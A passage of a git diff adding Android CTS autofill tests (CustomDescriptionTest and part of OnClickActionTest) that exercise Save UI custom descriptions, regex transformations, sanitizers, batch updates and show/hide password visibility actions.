+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Visitor;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.FillContext;
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+@AppModeFull(reason = "Service-specific test")
+public class CustomDescriptionTest extends AbstractLoginActivityTestCase {
+
+    /**
+     * Base test
+     *
+     * @param descriptionBuilder method to build a custom description
+     * @param uiVerifier         Ran when the custom description is shown
+     */
+    private void testCustomDescription(
+            @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
+            @Nullable Runnable uiVerifier) throws Exception {
+        enableService();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.setCustomDescription(descriptionBuilder.apply(usernameId, passwordId));
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("usernm"));
+        mActivity.onPassword((v) -> v.setText("passwd"));
+        mActivity.tapLogin();
+
+        if (uiVerifier != null) {
+            uiVerifier.run();
+        }
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextSaveRequest();
+    }
+
+    @Test
+    public void testSanitizationBeforeBatchUpdates() throws Exception {
+        enableService();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final RemoteViews presentation =
+                            newTemplate(R.layout.two_horizontal_text_fields);
+
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+
+                    // Validator for sanitization
+                    final Validator validCondition =
+                            new RegexValidator(usernameId, Pattern.compile("user"));
+
+                    final RemoteViews update = newTemplate(-666); // layout id not really used
+                    update.setTextViewText(R.id.first, "batch updated");
+
+                    final CustomDescription customDescription = new CustomDescription
+                            .Builder(presentation)
+                            .batchUpdate(validCondition,
+                                    new BatchUpdates.Builder().updateTemplate(update).build())
+                            .build();
+                    builder
+                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
+                                usernameId)
+                        .setCustomDescription(customDescription);
+
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        assertSaveUiIsShownWithTwoLines("batch updated");
+    }
+
+    @Test
+    public void testSanitizationBeforeTransformations() throws Exception {
+        enableService();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final RemoteViews presentation =
+                            newTemplate(R.layout.two_horizontal_text_fields);
+
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+
+                    // Transformation
+                    final CharSequenceTransformation trans = new CharSequenceTransformation
+                            .Builder(usernameId, Pattern.compile("user"), "transformed")
+                            .build();
+
+                    final CustomDescription customDescription = new CustomDescription
+                            .Builder(presentation)
+                            .addChild(R.id.first, trans)
+                            .build();
+                    builder
+                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
+                                usernameId)
+                        .setCustomDescription(customDescription);
+
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        assertSaveUiIsShownWithTwoLines("transformed");
+    }
+
+    @Test
+    public void validTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"),
+                    R.drawable.android).build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .build();
+        }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
+    }
+
+    @Test
+    public void validTransformationWithOneTemplateUpdate() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"),
+                    R.drawable.android).build();
+            RemoteViews update = newTemplate(0); // layout id not really used
+            update.setViewVisibility(R.id.second, View.GONE);
+            Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .batchUpdate(condition,
+                            new BatchUpdates.Builder().updateTemplate(update).build())
+                    .build();
+        }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
+    }
+
+    @Test
+    public void validTransformationWithMultipleTemplateUpdates() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
+                    Pattern.compile("(.*)"), "$1")
+                            .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                            .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
+                    Pattern.compile(".*"), R.drawable.android)
+                    .build();
+
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+
+            // Line 1 updates
+            RemoteViews update1 = newTemplate(666); // layout id not really used
+            update1.setContentDescription(R.id.first, "First am I"); // valid
+            RemoteViews update2 = newTemplate(0); // layout id not really used
+            update2.setViewVisibility(R.id.first, View.GONE); // invalid
+
+            // Line 2 updates
+            RemoteViews update3 = newTemplate(-666); // layout id not really used
+            update3.setTextViewText(R.id.second, "First of his second name"); // valid
+            RemoteViews update4 = newTemplate(0); // layout id not really used
+            update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update1).build())
+                    .batchUpdate(invalidCondition,
+                            new BatchUpdates.Builder().updateTemplate(update2).build())
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update3).build())
+                    .batchUpdate(invalidCondition,
+                            new BatchUpdates.Builder().updateTemplate(update4).build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong content description for line1")
+                        .that(line1.getContentDescription()).isEqualTo("First am I"),
+                (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
+                        .isEqualTo("First of his second name"),
+                null));
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_noConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
+    }
+
+    private enum BatchUpdatesConditionType {
+        NONE_PASS,
+        SECOND_PASS,
+        THIRD_PASS,
+        ALL_PASS
+    }
+
+    /**
+     * Tests a custom description that has 3 transformations, one applied directly and the other
+     * 2 in batch updates.
+     *
+     * @param conditionsType defines which batch updates conditions will pass.
+     */
+    private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
+            throws Exception {
+
+        final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
+                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+        final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
+                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+
+        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+                .that(line1.getText()).isEqualTo("L1-u");
+
+        final Visitor<UiObject2> line2Visitor;
+        if (line2Pass) {
+            line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+                    .that(line2.getText()).isEqualTo("L2-u");
+        } else {
+            line2Visitor = null;
+        }
+
+        final Visitor<UiObject2> line3Visitor;
+        if (line3Pass) {
+            line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+                    .that(line3.getText()).isEqualTo("L3-p");
+        } else {
+            line3Visitor = null;
+        }
+
+        testCustomDescription((usernameId, passwordId) -> {
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+            final RemoteViews presentation =
+                    newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
+
+            final CharSequenceTransformation line1Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+                        .build();
+
+            final CharSequenceTransformation line2Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+                        .build();
+            final RemoteViews line2Updates = newTemplate(666); // layout id not really used
+            line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
+
+            final CharSequenceTransformation line3Transformation =
+                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+                        .build();
+            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+            line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, line1Transformation)
+                    .batchUpdate(line2Pass ? validCondition : invalidCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.second, line2Transformation)
+                            .updateTemplate(line2Updates)
+                            .build())
+                    .batchUpdate(line3Pass ? validCondition : invalidCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.third, line3Transformation)
+                            .updateTemplate(line3Updates)
+                            .build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+    }
+
+    @Test
+    public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
+
+        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+                .that(line1.getText()).isEqualTo("L1-u");
+        final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+                .that(line2.getText()).isEqualTo("L2-u");
+        final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+                .that(line3.getText()).isEqualTo("L3-p");
+
+        testCustomDescription((usernameId, passwordId) -> {
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+            final RemoteViews presentation =
+                    newTemplate(R.layout.two_horizontal_text_fields);
+
+            final CharSequenceTransformation line1Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+                        .build();
+
+            final CharSequenceTransformation line2Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+                        .build();
+
+            final CharSequenceTransformation line3Transformation =
+                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+                        .build();
+            final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
+            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+            line3Updates.addView(R.id.parent, line3Presentation);
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, line1Transformation)
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.second, line2Transformation)
+                            .build())
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder()
+                            .updateTemplate(line3Updates)
+                            .transformChild(R.id.third, line3Transformation)
+                            .build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+    }
+
+    @Test
+    public void badImageTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation.Builder(usernameId,
+                    Pattern.compile(".*"), 1).build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void unusedImageTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void applyImageTransformationToTextView() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void failFirstFailAll() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$42")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void failSecondFailAll() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void applyCharSequenceTransformationToImageView() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    // Set response with custom description
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+                    final CharSequenceTransformation firstTrans = new CharSequenceTransformation
+                            .Builder(usernameId, Pattern.compile("(marco)"), "polo")
+                            .build();
+                    final CharSequenceTransformation secondTrans = new CharSequenceTransformation
+                            .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
+                            .build();
+                    final RemoteViews presentation =
+                            newTemplate(R.layout.two_horizontal_text_fields);
+                    final CustomDescription customDescription =
+                            new CustomDescription.Builder(presentation)
+                            .addChild(R.id.first, firstTrans)
+                            .addChild(R.id.first, secondTrans)
+                            .build();
+                    builder.setCustomDescription(customDescription);
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        final String username = matchFirst ? "marco" : "MARCO";
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        final String expectedText = matchFirst ? "polo" : "POLO";
+        assertSaveUiIsShownWithTwoLines(expectedText);
+    }
+
+    @Test
+    public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
+        multipleTransformationsForSameFieldTest(true);
+    }
+
+    @Test
+    public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
+        multipleTransformationsForSameFieldTest(false);
+    }
+
+    private RemoteViews newTemplate(int resourceId) {
+        return new RemoteViews(getContext().getPackageName(), resourceId);
+    }
+
+    private UiObject2 assertSaveUiShowing() {
+        try {
+            return mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void assertSaveUiWithoutCustomDescriptionIsShown() {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = assertSaveUiShowing();
+
+        // Then make sure it does not have the custom view on it.
+        assertWithMessage("found static_text on SaveUI (%s)", mUiBot.getChildrenAsText(saveUi))
+            .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
+    }
+
+    private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = assertSaveUiShowing();
+
+        // Then make sure it does have the custom view on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        return saveUi;
+    }
+
+    /**
+     * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
+     * invisible), but only {@code first} has text.
+     */
+    private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
+        return assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+                (line2) -> assertWithMessage("Wrong text for child with id 'second'")
+                        .that(line2.getText()).isNull(),
+                null);
+    }
+
+    /**
+     * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
+     * invisible).
+     */
+    private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
+        assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+                null, null);
+    }
+
+    private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
+            @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
+        final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
+        mUiBot.assertChild(saveUi, "first", line1Visitor);
+        mUiBot.assertChild(saveUi, "second", line2Visitor);
+        mUiBot.assertChild(saveUi, "third", line3Visitor);
+        return saveUi;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/OnClickActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/OnClickActionTest.java
new file mode 100644
index 0000000..8282fec
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/OnClickActionTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_HIDE;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_PASSWORD_MASKED;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_PASSWORD_PLAIN;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_SHOW;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_USERNAME_MASKED;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_USERNAME_PLAIN;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.newCustomDescriptionWithHiddenFields;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.FillContext;
+import android.service.autofill.OnClickAction;
+import android.service.autofill.VisibilitySetterAction;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.regex.Pattern;
+
+/**
+ * Integration tests for the {@link OnClickAction} implementations.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class OnClickActionTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
+
+    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
+
+    private SimpleSaveActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
+        return new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testHideAndShow() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
+                            .Builder(usernameId, MATCH_ALL, "$1").build();
+                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
+                            .Builder(passwordId, MATCH_ALL, "$1").build();
+                    builder.setCustomDescription(newCustomDescriptionWithHiddenFields()
+                            .addChild(R.id.username_plain, usernameTrans)
+                            .addChild(R.id.password_plain, passwordTrans)
+                            .addOnClickAction(R.id.show, new VisibilitySetterAction
+                                    .Builder(R.id.hide, View.VISIBLE)
+                                    .setVisibility(R.id.show, View.GONE)
+                                    .setVisibility(R.id.username_plain, View.VISIBLE)
+                                    .setVisibility(R.id.password_plain, View.VISIBLE)
+                                    .setVisibility(R.id.username_masked, View.GONE)
+                                    .setVisibility(R.id.password_masked, View.GONE)
+                                    .build())
+                            .addOnClickAction(R.id.hide, new VisibilitySetterAction
+                                    .Builder(R.id.show, View.VISIBLE)
+                                    .setVisibility(R.id.hide, View.GONE)
+                                    .setVisibility(R.id.username_masked, View.VISIBLE)
+                                    .setVisibility(R.id.password_masked, View.VISIBLE)
+                                    .setVisibility(R.id.username_plain, View.GONE)
+                                    .setVisibility(R.id.password_plain, View.GONE)
+                                    .build())
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("42");
+            mActivity.mPassword.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Assert initial UI is hidden the password.
+        final UiObject2 showButton = assertHidden(saveUi);
+
+        // Then tap SHOW and assert it's showing how
+        showButton.click();
+        final UiObject2 hideButton = assertShown(saveUi);
+
+        // Hide again
+        hideButton.click();
+        assertHidden(saveUi);
+
+        // Rinse-and repeat a couple times
+        showButton.click(); assertShown(saveUi);
+        hideButton.click(); assertHidden(saveUi);
+        showButton.click(); assertShown(saveUi);
+        hideButton.click(); assertHidden(saveUi);
+
+        // Then save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "108");
+    }
+
+    /**
+     * Asserts that the Save UI is in the hiding the password field, returning the {@code SHOW}
+     * button.
+     */
+    private UiObject2 assertHidden(UiObject2 saveUi) throws Exception {
+        // Username
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME_MASKED, "****");
+        assertInvisible(saveUi, ID_USERNAME_PLAIN);
+
+        // Password
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_MASKED, "....");
+        assertInvisible(saveUi, ID_PASSWORD_PLAIN);
+
+        // Buttons
+        assertInvisible(saveUi, ID_HIDE);
+        return mUiBot.assertChildText(saveUi, ID_SHOW, "SHOW");
+    }
+
+    /**
+     * Asserts that the Save UI is in the showing the password field, returning the {@code HIDE}
+     * button.
+     */
+    private UiObject2 assertShown(UiObject2 saveUi) throws Exception {
+        // Username
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME_PLAIN, "42");
+        assertInvisible(saveUi, ID_USERNAME_MASKED);
+
+        // Password
